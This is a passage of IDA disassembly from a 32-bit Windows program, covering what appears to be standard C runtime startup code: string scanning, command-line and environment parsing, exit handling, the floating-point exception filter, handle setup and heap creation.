3 jnz short loc_4029A8 loc_4029BB: ; CODE XREF: sub_402996+10j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_4029C6: ; CODE XREF: sub_402996+5Bj ; sub_402996+6Aj ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_402A08 and eax, 81010100h jz short loc_4029C6 and eax, 1010100h jnz short loc_402A02 and esi, 80000000h jnz short loc_4029C6 loc_402A02: ; CODE XREF: sub_402996+62j ; sub_402996+7Bj ... pop esi pop edi loc_402A04: ; CODE XREF: sub_402996+1Bj pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_402A08: ; CODE XREF: sub_402996+54j mov eax, [edx-4] cmp al, bl jz short loc_402A45 test al, al jz short loc_402A02 cmp ah, bl jz short loc_402A3E test ah, ah jz short loc_402A02 shr eax, 10h cmp al, bl jz short loc_402A37 test al, al jz short loc_402A02 cmp ah, bl jz short loc_402A30 test ah, ah jz short loc_402A02 jmp short loc_4029C6 ; --------------------------------------------------------------------------- loc_402A30: ; CODE XREF: sub_402996+92j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_402A37: ; CODE XREF: sub_402996+8Aj lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_402A3E: ; CODE XREF: sub_402996+7Fj lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_402A45: ; CODE XREF: sub_402996+77j lea eax, [edx-4] pop esi pop edi pop ebx retn sub_402996 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A4C proc near ; CODE XREF: sub_402810+12p var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_402A6A mov ecx, off_406AE0 movzx eax, word ptr [ecx+eax*2] jmp short loc_402ABC ; --------------------------------------------------------------------------- loc_402A6A: ; CODE XREF: sub_402A4C+10j mov ecx, eax push esi mov esi, off_406AE0 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_402A8F and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_402A98 ; --------------------------------------------------------------------------- loc_402A8F: ; CODE XREF: sub_402A4C+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_402A98: ; CODE XREF: sub_402A4C+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_40371C add esp, 1Ch test eax, eax jnz short loc_402AB8 leave retn ; --------------------------------------------------------------------------- loc_402AB8: ; CODE XREF: sub_402A4C+68j movzx eax, word ptr [ebp+arg_0+2] loc_402ABC: ; CODE XREF: sub_402A4C+1Cj and eax, [ebp+arg_4] leave retn sub_402A4C endp ; =============== S U B R O U T I N E ======================================= sub_402AC1 proc near ; CODE XREF: .text:004028D1p mov eax, dword_407454 test eax, eax jz short loc_402ACC call eax loc_402ACC: ; CODE XREF: sub_402AC1+7j push offset dword_406010 push offset dword_406008 call sub_402BA9 push offset dword_406004 push offset dword_406000 call sub_402BA9 add esp, 10h retn sub_402AC1 endp ; =============== S U B R O U T I N E ======================================= sub_402AEE proc near ; CODE XREF: .text:00402910p arg_0 = dword ptr 4 push 0 push 0 push [esp+8+arg_0] call sub_402B10 add esp, 0Ch retn sub_402AEE endp ; =============== S U B R O U T I N E ======================================= sub_402AFF proc near ; CODE XREF: .text:0040292Fp ; sub_402934+1Cp ; DATA XREF: ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_402B10 add esp, 0Ch retn sub_402AFF endp ; =============== S U B R O U T I N E ======================================= sub_402B10 proc near ; CODE XREF: sub_402AEE+8p ; sub_402AFF+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_406F94, edi jnz short loc_402B2D push [esp+4+arg_0] call dword_4050B8 ; GetCurrentProcess push eax call dword_4050B4 ; TerminateProcess loc_402B2D: ; CODE XREF: sub_402B10+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_406F90, edi mov byte_406F8C, bl jnz short loc_402B81 mov eax, dword_407450 test eax, eax jz short loc_402B70 mov ecx, dword_40744C push esi lea esi, [ecx-4] cmp esi, eax jb short loc_402B6F loc_402B5C: ; CODE XREF: sub_402B10+5Dj mov eax, [esi] test eax, eax jz short loc_402B64 call eax loc_402B64: ; CODE XREF: sub_402B10+50j sub esi, 4 cmp esi, dword_407450 jnb short loc_402B5C loc_402B6F: ; CODE XREF: sub_402B10+4Aj pop esi loc_402B70: ; CODE XREF: sub_402B10+3Cj push offset dword_406018 push offset dword_406014 call sub_402BA9 pop ecx pop ecx loc_402B81: ; CODE XREF: sub_402B10+33j push offset dword_406020 push offset dword_40601C call sub_402BA9 pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_402BA7 push [esp+4+arg_0] mov dword_406F94, edi call dword_4050B0 ; ExitProcess loc_402BA7: ; CODE XREF: sub_402B10+85j pop edi retn sub_402B10 endp ; =============== S U B R O U T I N E ======================================= sub_402BA9 proc near ; CODE XREF: sub_402AC1+15p ; sub_402AC1+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_402BAE: ; CODE XREF: sub_402BA9+16j cmp esi, [esp+4+arg_4] jnb short loc_402BC1 mov eax, [esi] test eax, eax jz short loc_402BBC call eax loc_402BBC: ; CODE XREF: sub_402BA9+Fj add esi, 4 jmp short loc_402BAE ; --------------------------------------------------------------------------- loc_402BC1: ; CODE XREF: sub_402BA9+9j pop esi retn sub_402BA9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402BC3 proc near ; CODE XREF: .text:00402921p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push [ebp+arg_0] call sub_402D04 test eax, eax pop ecx jz loc_402CF8 mov ebx, [eax+8] test ebx, ebx jz loc_402CF8 cmp ebx, 5 jnz short loc_402BF4 and dword ptr [eax+8], 0 push 1 pop eax jmp loc_402D01 ; --------------------------------------------------------------------------- loc_402BF4: ; CODE XREF: sub_402BC3+23j cmp ebx, 1 jz loc_402CF3 mov ecx, dword_406F98 mov [ebp+arg_0], ecx mov ecx, [ebp+arg_4] mov dword_406F98, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_402CE3 mov ecx, dword_406D70 mov edx, dword_406D74 add edx, ecx push esi cmp ecx, edx jge short loc_402C43 lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:406D00h[esi*4] loc_402C3A: ; CODE XREF: sub_402BC3+7Ej and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_402C3A loc_402C43: ; CODE XREF: sub_402BC3+69j mov eax, [eax] mov esi, dword_406D7C cmp eax, 0C000008Eh jnz short loc_402C5E mov dword_406D7C, 83h jmp short loc_402CCE ; --------------------------------------------------------------------------- loc_402C5E: ; CODE XREF: sub_402BC3+8Dj cmp eax, 0C0000090h jnz short loc_402C71 mov dword_406D7C, 81h jmp short loc_402CCE ; --------------------------------------------------------------------------- loc_402C71: ; CODE XREF: sub_402BC3+A0j cmp eax, 0C0000091h jnz short loc_402C84 mov dword_406D7C, 84h jmp short loc_402CCE ; --------------------------------------------------------------------------- loc_402C84: ; CODE XREF: sub_402BC3+B3j cmp eax, 0C0000093h jnz short loc_402C97 mov dword_406D7C, 85h jmp short loc_402CCE ; --------------------------------------------------------------------------- loc_402C97: ; CODE XREF: sub_402BC3+C6j cmp eax, 0C000008Dh jnz short loc_402CAA mov dword_406D7C, 82h jmp short loc_402CCE ; --------------------------------------------------------------------------- loc_402CAA: ; CODE XREF: sub_402BC3+D9j cmp eax, 0C000008Fh jnz short loc_402CBD mov dword_406D7C, 86h jmp short loc_402CCE ; --------------------------------------------------------------------------- loc_402CBD: ; CODE XREF: sub_402BC3+ECj cmp eax, 0C0000092h jnz short loc_402CCE mov dword_406D7C, 8Ah loc_402CCE: ; CODE XREF: sub_402BC3+99j ; sub_402BC3+ACj ... push dword_406D7C push 8 call ebx ; _lread pop ecx mov dword_406D7C, esi pop ecx pop esi jmp short loc_402CEB ; --------------------------------------------------------------------------- loc_402CE3: ; CODE XREF: sub_402BC3+52j and dword ptr [eax+8], 0 push ecx call ebx ; _lread pop ecx loc_402CEB: ; CODE XREF: sub_402BC3+11Ej mov eax, [ebp+arg_0] mov dword_406F98, eax loc_402CF3: ; CODE XREF: sub_402BC3+34j or eax, 0FFFFFFFFh jmp short loc_402D01 ; --------------------------------------------------------------------------- loc_402CF8: ; CODE XREF: sub_402BC3+Fj ; sub_402BC3+1Aj push [ebp+arg_4] call dword_4050BC ; UnhandledExceptionFilter loc_402D01: ; CODE XREF: sub_402BC3+2Cj ; sub_402BC3+133j pop ebx pop ebp retn sub_402BC3 endp ; =============== S U B R O U T I N E ======================================= sub_402D04 proc near ; CODE XREF: sub_402BC3+7p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_406D78 cmp dword_406CF8, edx push esi mov eax, offset dword_406CF8 jz short loc_402D31 lea esi, [ecx+ecx*2] lea esi, ds:406CF8h[esi*4] loc_402D26: ; CODE XREF: sub_402D04+2Bj add eax, 0Ch cmp eax, esi jnb short loc_402D31 cmp [eax], edx jnz short loc_402D26 loc_402D31: ; CODE XREF: sub_402D04+16j ; sub_402D04+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:406CF8h[ecx*4] cmp eax, ecx jnb short loc_402D44 cmp [eax], edx jz short locret_402D46 loc_402D44: ; CODE XREF: sub_402D04+3Aj xor eax, eax locret_402D46: ; CODE XREF: sub_402D04+3Ej retn sub_402D04 endp ; =============== S U B R O U T I N E ======================================= sub_402D47 proc near ; CODE XREF: .text:004028E3p cmp dword_407448, 0 jnz short loc_402D55 call sub_403C6B loc_402D55: ; CODE XREF: sub_402D47+7j push esi mov esi, dword_407458 mov al, [esi] cmp al, 22h jnz short loc_402D87 loc_402D62: ; CODE XREF: sub_402D47+33j ; sub_402D47+36j mov al, [esi+1] inc esi cmp al, 22h jz short loc_402D7F test al, al jz short loc_402D7F movzx eax, al push eax call sub_403865 test eax, eax pop ecx jz short loc_402D62 inc esi jmp short loc_402D62 ; --------------------------------------------------------------------------- loc_402D7F: ; CODE XREF: sub_402D47+21j ; sub_402D47+25j cmp byte ptr [esi], 22h jnz short loc_402D91 loc_402D84: ; CODE XREF: sub_402D47+52j inc esi jmp short loc_402D91 ; --------------------------------------------------------------------------- loc_402D87: ; CODE XREF: sub_402D47+19j cmp al, 20h jbe short loc_402D91 loc_402D8B: ; CODE XREF: sub_402D47+48j inc esi cmp byte ptr [esi], 20h ja short loc_402D8B loc_402D91: ; CODE XREF: sub_402D47+3Bj ; sub_402D47+3Ej ... mov al, [esi] test al, al jz short loc_402D9B cmp al, 20h jbe short loc_402D84 loc_402D9B: ; CODE XREF: sub_402D47+4Ej mov eax, esi pop esi retn sub_402D47 endp ; =============== S U B R O U T I N E ======================================= sub_402D9F proc near ; CODE XREF: .text:004028CCp push ebx xor ebx, ebx cmp dword_407448, ebx push esi push edi jnz short loc_402DB1 call sub_403C6B loc_402DB1: ; CODE XREF: sub_402D9F+Bj mov esi, dword_406F40 xor edi, edi loc_402DB9: ; CODE XREF: sub_402D9F+30j mov al, [esi] cmp al, bl jz short loc_402DD1 cmp al, 3Dh jz short loc_402DC4 inc edi loc_402DC4: ; CODE XREF: sub_402D9F+22j push esi call sub_402210 pop ecx lea esi, [esi+eax+1] jmp short loc_402DB9 ; --------------------------------------------------------------------------- loc_402DD1: ; CODE XREF: sub_402D9F+1Ej lea eax, ds:4[edi*4] push eax call sub_403CB6 mov esi, eax pop ecx cmp esi, ebx mov dword_406F74, esi jnz short loc_402DF3 push 9 call sub_402934 pop ecx loc_402DF3: ; CODE XREF: sub_402D9F+4Aj mov edi, dword_406F40 cmp [edi], bl jz short loc_402E36 push ebp loc_402DFE: ; CODE XREF: sub_402D9F+94j push edi call sub_402210 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_402E2F push ebp call sub_403CB6 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_402E22 push 9 call sub_402934 pop ecx loc_402E22: ; CODE XREF: sub_402D9F+79j push edi push dword ptr [esi] call sub_402720 pop ecx add esi, 4 pop ecx loc_402E2F: ; CODE XREF: sub_402D9F+6Cj add edi, ebp cmp [edi], bl jnz short loc_402DFE pop ebp loc_402E36: ; CODE XREF: sub_402D9F+5Cj push dword_406F40 call sub_403C87 pop ecx mov dword_406F40, ebx mov [esi], ebx pop edi pop esi mov dword_407444, 1 pop ebx retn sub_402D9F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402E58 proc near ; CODE XREF: .text:004028C7p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_407448, ebx push esi push edi jnz short loc_402E6F call sub_403C6B loc_402E6F: ; CODE XREF: sub_402E58+10j mov esi, offset dword_406F9C push 104h push esi push ebx call dword_405034 ; GetModuleFileNameA mov eax, dword_407458 mov dword_406F84, esi mov edi, esi cmp [eax], bl jz short loc_402E94 mov edi, eax loc_402E94: ; CODE XREF: sub_402E58+38j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push ebx push ebx push edi call sub_402EF1 mov eax, [ebp+var_8] mov ecx, [ebp+var_4] lea eax, [eax+ecx*4] push eax call sub_403CB6 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_402EC4 push 8 call sub_402934 pop ecx loc_402EC4: ; CODE XREF: sub_402E58+62j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax mov eax, [ebp+var_4] lea eax, [esi+eax*4] push eax push esi push edi call sub_402EF1 mov eax, [ebp+var_4] add esp, 14h dec eax mov dword_406F6C, esi pop edi pop esi mov dword_406F68, eax pop ebx leave retn sub_402E58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402EF1 proc near ; CODE XREF: sub_402E58+47p ; sub_402E58+7Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_402F1B mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_402F1B: ; CODE XREF: sub_402EF1+20j cmp byte ptr [eax], 22h jnz short loc_402F64 loc_402F20: ; CODE XREF: sub_402EF1+58j ; sub_402EF1+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_402F52 test dl, dl jz short loc_402F52 movzx edx, dl test byte_407221[edx], 4 jz short loc_402F45 inc dword ptr [ecx] test esi, esi jz short loc_402F45 mov dl, [eax] mov [esi], dl inc esi inc eax loc_402F45: ; CODE XREF: sub_402EF1+46j ; sub_402EF1+4Cj inc dword ptr [ecx] test esi, esi jz short loc_402F20 mov dl, [eax] mov [esi], dl inc esi jmp short loc_402F20 ; --------------------------------------------------------------------------- loc_402F52: ; CODE XREF: sub_402EF1+36j ; sub_402EF1+3Aj inc dword ptr [ecx] test esi, esi jz short loc_402F5C and byte ptr [esi], 0 inc esi loc_402F5C: ; CODE XREF: sub_402EF1+65j cmp byte ptr [eax], 22h jnz short loc_402FA7 inc eax jmp short loc_402FA7 ; --------------------------------------------------------------------------- loc_402F64: ; CODE XREF: sub_402EF1+2Dj ; sub_402EF1+A5j inc dword ptr [ecx] test esi, esi jz short loc_402F6F mov dl, [eax] mov [esi], dl inc esi loc_402F6F: ; CODE XREF: sub_402EF1+77j mov dl, [eax] inc eax movzx ebx, dl test byte_407221[ebx], 4 jz short loc_402F8A inc dword ptr [ecx] test esi, esi jz short loc_402F89 mov bl, [eax] mov [esi], bl inc esi loc_402F89: ; CODE XREF: sub_402EF1+91j inc eax loc_402F8A: ; CODE XREF: sub_402EF1+8Bj cmp dl, 20h jz short loc_402F98 test dl, dl jz short loc_402F9C cmp dl, 9 jnz short loc_402F64 loc_402F98: ; CODE XREF: sub_402EF1+9Cj test dl, dl jnz short loc_402F9F loc_402F9C: ; CODE XREF: sub_402EF1+A0j dec eax jmp short loc_402FA7 ; --------------------------------------------------------------------------- loc_402F9F: ; CODE XREF: sub_402EF1+A9j test esi, esi jz short loc_402FA7 and byte ptr [esi-1], 0 loc_402FA7: ; CODE XREF: sub_402EF1+6Ej ; sub_402EF1+71j ... and [ebp+arg_10], 0 loc_402FAB: ; CODE XREF: sub_402EF1+19Ej cmp byte ptr [eax], 0 jz loc_403094 loc_402FB4: ; CODE XREF: sub_402EF1+D0j mov dl, [eax] cmp dl, 20h jz short loc_402FC0 cmp dl, 9 jnz short loc_402FC3 loc_402FC0: ; CODE XREF: sub_402EF1+C8j inc eax jmp short loc_402FB4 ; --------------------------------------------------------------------------- loc_402FC3: ; CODE XREF: sub_402EF1+CDj cmp byte ptr [eax], 0 jz loc_403094 test edi, edi jz short loc_402FD8 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_402FD8: ; CODE XREF: sub_402EF1+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_402FDD: ; CODE XREF: sub_402EF1+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_402FE6: ; CODE XREF: sub_402EF1+FCj cmp byte ptr [eax], 5Ch jnz short loc_402FEF inc eax inc ebx jmp short loc_402FE6 ; --------------------------------------------------------------------------- loc_402FEF: ; CODE XREF: sub_402EF1+F8j cmp byte ptr [eax], 22h jnz short loc_403020 test bl, 1 jnz short loc_40301E xor edi, edi cmp [ebp+arg_10], edi jz short loc_40300D cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_40300D mov eax, edx jmp short loc_403010 ; --------------------------------------------------------------------------- loc_40300D: ; CODE XREF: sub_402EF1+10Dj ; sub_402EF1+116j mov [ebp+arg_0], edi loc_403010: ; CODE XREF: sub_402EF1+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_40301E: ; CODE XREF: sub_402EF1+106j shr ebx, 1 loc_403020: ; CODE XREF: sub_402EF1+101j mov edx, ebx dec ebx test edx, edx jz short loc_403035 inc ebx loc_403028: ; CODE XREF: sub_402EF1+142j test esi, esi jz short loc_403030 mov byte ptr [esi], 5Ch inc esi loc_403030: ; CODE XREF: sub_402EF1+139j inc dword ptr [ecx] dec ebx jnz short loc_403028 loc_403035: ; CODE XREF: sub_402EF1+134j mov dl, [eax] test dl, dl jz short loc_403085 cmp [ebp+arg_10], 0 jnz short loc_40304B cmp dl, 20h jz short loc_403085 cmp dl, 9 jz short loc_403085 loc_40304B: ; CODE XREF: sub_402EF1+14Ej cmp [ebp+arg_0], 0 jz short loc_40307F test esi, esi jz short loc_40306E movzx ebx, dl test byte_407221[ebx], 4 jz short loc_403067 mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_403067: ; CODE XREF: sub_402EF1+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_40307D ; --------------------------------------------------------------------------- loc_40306E: ; CODE XREF: sub_402EF1+162j movzx edx, dl test byte_407221[edx], 4 jz short loc_40307D inc eax inc dword ptr [ecx] loc_40307D: ; CODE XREF: sub_402EF1+17Bj ; sub_402EF1+187j inc dword ptr [ecx] loc_40307F: ; CODE XREF: sub_402EF1+15Ej inc eax jmp loc_402FDD ; --------------------------------------------------------------------------- loc_403085: ; CODE XREF: sub_402EF1+148j ; sub_402EF1+153j ... test esi, esi jz short loc_40308D and byte ptr [esi], 0 inc esi loc_40308D: ; CODE XREF: sub_402EF1+196j inc dword ptr [ecx] jmp loc_402FAB ; --------------------------------------------------------------------------- loc_403094: ; CODE XREF: sub_402EF1+BDj ; sub_402EF1+D5j test edi, edi jz short loc_40309B and dword ptr [edi], 0 loc_40309B: ; CODE XREF: sub_402EF1+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_402EF1 endp ; =============== S U B R O U T I N E ======================================= sub_4030A5 proc near ; CODE XREF: .text:004028BDp var_8 = dword ptr -8 var_4 = dword ptr -4 push ecx push ecx mov eax, dword_4070A0 push ebx push ebp mov ebp, dword_4050D0 push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_4030F3 call ebp ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz short loc_4030D4 mov dword_4070A0, 1 jmp short loc_4030FC ; --------------------------------------------------------------------------- loc_4030D4: ; CODE XREF: sub_4030A5+21j call dword_4050CC ; GetEnvironmentStringsA mov edi, eax cmp edi, ebx jz loc_4031CE mov dword_4070A0, 2 jmp loc_403182 ; --------------------------------------------------------------------------- loc_4030F3: ; CODE XREF: sub_4030A5+19j cmp eax, 1 jnz loc_40317D loc_4030FC: ; CODE XREF: sub_4030A5+2Dj cmp esi, ebx jnz short loc_40310C call ebp ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz loc_4031CE loc_40310C: ; CODE XREF: sub_4030A5+59j cmp [esi], bx mov eax, esi jz short loc_403121 loc_403113: ; CODE XREF: sub_4030A5+73j ; sub_4030A5+7Aj inc eax inc eax cmp [eax], bx jnz short loc_403113 inc eax inc eax cmp [eax], bx jnz short loc_403113 loc_403121: ; CODE XREF: sub_4030A5+6Cj sub eax, esi mov edi, dword_4050C8 sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+38h+var_4], eax call edi ; WideCharToMultiByte mov ebp, eax cmp ebp, ebx jz short loc_403172 push ebp call sub_403CB6 cmp eax, ebx pop ecx mov [esp+18h+var_8], eax jz short loc_403172 push ebx push ebx push ebp push eax push [esp+28h+var_4] push esi push ebx push ebx call edi ; WideCharToMultiByte test eax, eax jnz short loc_40316E push [esp+18h+var_8] call sub_403C87 pop ecx mov [esp+18h+var_8], ebx loc_40316E: ; CODE XREF: sub_4030A5+B9j mov ebx, [esp+18h+var_8] loc_403172: ; CODE XREF: sub_4030A5+99j ; sub_4030A5+A8j push esi call dword_4050C4 ; FreeEnvironmentStringsW mov eax, ebx jmp short loc_4031D0 ; --------------------------------------------------------------------------- loc_40317D: ; CODE XREF: sub_4030A5+51j cmp eax, 2 jnz short loc_4031CE loc_403182: ; CODE XREF: sub_4030A5+49j cmp edi, ebx jnz short loc_403192 call dword_4050CC ; GetEnvironmentStringsA mov edi, eax cmp edi, ebx jz short loc_4031CE loc_403192: ; CODE XREF: sub_4030A5+DFj cmp [edi], bl mov eax, edi jz short loc_4031A2 loc_403198: ; CODE XREF: sub_4030A5+F6j ; sub_4030A5+FBj inc eax cmp [eax], bl jnz short loc_403198 inc eax cmp [eax], bl jnz short loc_403198 loc_4031A2: ; CODE XREF: sub_4030A5+F1j sub eax, edi inc eax mov ebp, eax push ebp call sub_403CB6 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4031B8 xor esi, esi jmp short loc_4031C3 ; --------------------------------------------------------------------------- loc_4031B8: ; CODE XREF: sub_4030A5+10Dj push ebp push edi push esi call sub_402290 add esp, 0Ch loc_4031C3: ; CODE XREF: sub_4030A5+111j push edi call dword_4050C0 ; FreeEnvironmentStringsA mov eax, esi jmp short loc_4031D0 ; --------------------------------------------------------------------------- loc_4031CE: ; CODE XREF: sub_4030A5+39j ; sub_4030A5+61j ... xor eax, eax loc_4031D0: ; CODE XREF: sub_4030A5+D6j ; sub_4030A5+127j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn sub_4030A5 endp ; =============== S U B R O U T I N E ======================================= sub_4031D7 proc near ; CODE XREF: .text:004028ADp var_44 = byte ptr -44h var_14 = dword ptr -14h var_10 = dword ptr -10h sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_403CB6 mov esi, eax pop ecx test esi, esi jnz short loc_4031F7 push 1Bh call sub_402934 pop ecx loc_4031F7: ; CODE XREF: sub_4031D7+16j mov dword_407340, esi mov dword_407440, 20h lea eax, [esi+100h] loc_40320D: ; CODE XREF: sub_4031D7+52j cmp esi, eax jnb short loc_40322B and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_407340 add esi, 8 add eax, 100h jmp short loc_40320D ; --------------------------------------------------------------------------- loc_40322B: ; CODE XREF: sub_4031D7+38j lea eax, [esp+54h+var_44] push eax call dword_4050A4 ; GetStartupInfoA cmp word ptr [esp+54h+var_14+2], 0 jz loc_403307 mov eax, [esp+54h+var_10] test eax, eax jz loc_403307 mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_403261 mov esi, eax loc_403261: ; CODE XREF: sub_4031D7+86j cmp dword_407440, esi jge short loc_4032BB mov edi, offset dword_407344 loc_40326E: ; CODE XREF: sub_4031D7+DAj push 100h call sub_403CB6 test eax, eax pop ecx jz short loc_4032B5 add dword_407440, 20h mov [edi], eax lea ecx, [eax+100h] loc_40328C: ; CODE XREF: sub_4031D7+CFj cmp eax, ecx jnb short loc_4032A8 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_40328C ; --------------------------------------------------------------------------- loc_4032A8: ; CODE XREF: sub_4031D7+B7j add edi, 4 cmp dword_407440, esi jl short loc_40326E jmp short loc_4032BB ; --------------------------------------------------------------------------- loc_4032B5: ; CODE XREF: sub_4031D7+A4j mov esi, dword_407440 loc_4032BB: ; CODE XREF: sub_4031D7+90j ; sub_4031D7+DCj xor edi, edi test esi, esi jle short loc_403307 loc_4032C1: ; CODE XREF: sub_4031D7+12Ej mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_4032FE mov cl, [ebp+0] test cl, 1 jz short loc_4032FE test cl, 8 jnz short loc_4032E0 push eax call dword_405094 ; GetFileType test eax, eax jz short loc_4032FE loc_4032E0: ; CODE XREF: sub_4031D7+FCj mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_407340[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_4032FE: ; CODE XREF: sub_4031D7+EFj ; sub_4031D7+F7j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_4032C1 loc_403307: ; CODE XREF: sub_4031D7+65j ; sub_4031D7+71j ... xor ebx, ebx loc_403309: ; CODE XREF: sub_4031D7+195j mov eax, dword_407340 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_403364 test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_403324 push 0FFFFFFF6h pop eax jmp short loc_40332E ; --------------------------------------------------------------------------- loc_403324: ; CODE XREF: sub_4031D7+146j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_40332E: ; CODE XREF: sub_4031D7+14Bj push eax call dword_4050D8 ; GetStdHandle mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_403353 push edi call dword_405094 ; GetFileType test eax, eax jz short loc_403353 and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_403359 loc_403353: ; CODE XREF: sub_4031D7+163j ; sub_4031D7+16Ej or byte ptr [esi+4], 40h jmp short loc_403368 ; --------------------------------------------------------------------------- loc_403359: ; CODE XREF: sub_4031D7+17Aj cmp eax, 3 jnz short loc_403368 or byte ptr [esi+4], 8 jmp short loc_403368 ; --------------------------------------------------------------------------- loc_403364: ; CODE XREF: sub_4031D7+13Ej or byte ptr [esi+4], 80h loc_403368: ; CODE XREF: sub_4031D7+180j ; sub_4031D7+185j ... inc ebx cmp ebx, 3 jl short loc_403309 push dword_407440 call dword_4050D4 ; SetHandleCount pop edi pop esi pop ebp pop ebx add esp, 44h retn sub_4031D7 endp ; =============== S U B R O U T I N E ======================================= sub_403382 proc near ; CODE XREF: .text:00402898p arg_0 = dword ptr 4 xor eax, eax push 0 cmp [esp+4+arg_0], eax push 1000h setz al push eax call dword_40508C ; HeapCreate test eax, eax mov dword_407328, eax jz short loc_4033B7 call sub_403D2A test eax, eax jnz short loc_4033BA push dword_407328 call dword_405090 ; HeapDestroy loc_4033B7: ; CODE XREF: sub_403382+1Ej xor eax, eax retn ; --------------------------------------------------------------------------- loc_4033BA: ; CODE XREF: sub_403382+27j push 1 pop eax retn sub_403382 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4033C0 proc near ; CODE XREF: sub_4034B8+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_4033D8 push [ebp+arg_0] call sub_404CA6 ; RtlUnwind loc_4033D8: ; DATA XREF: sub_4033C0+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4033C0 endp ; =============== S U B R O U T I N E ======================================= sub_4033E0 proc near ; DATA XREF: sub_403402+Ao ; .text:00403473o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = 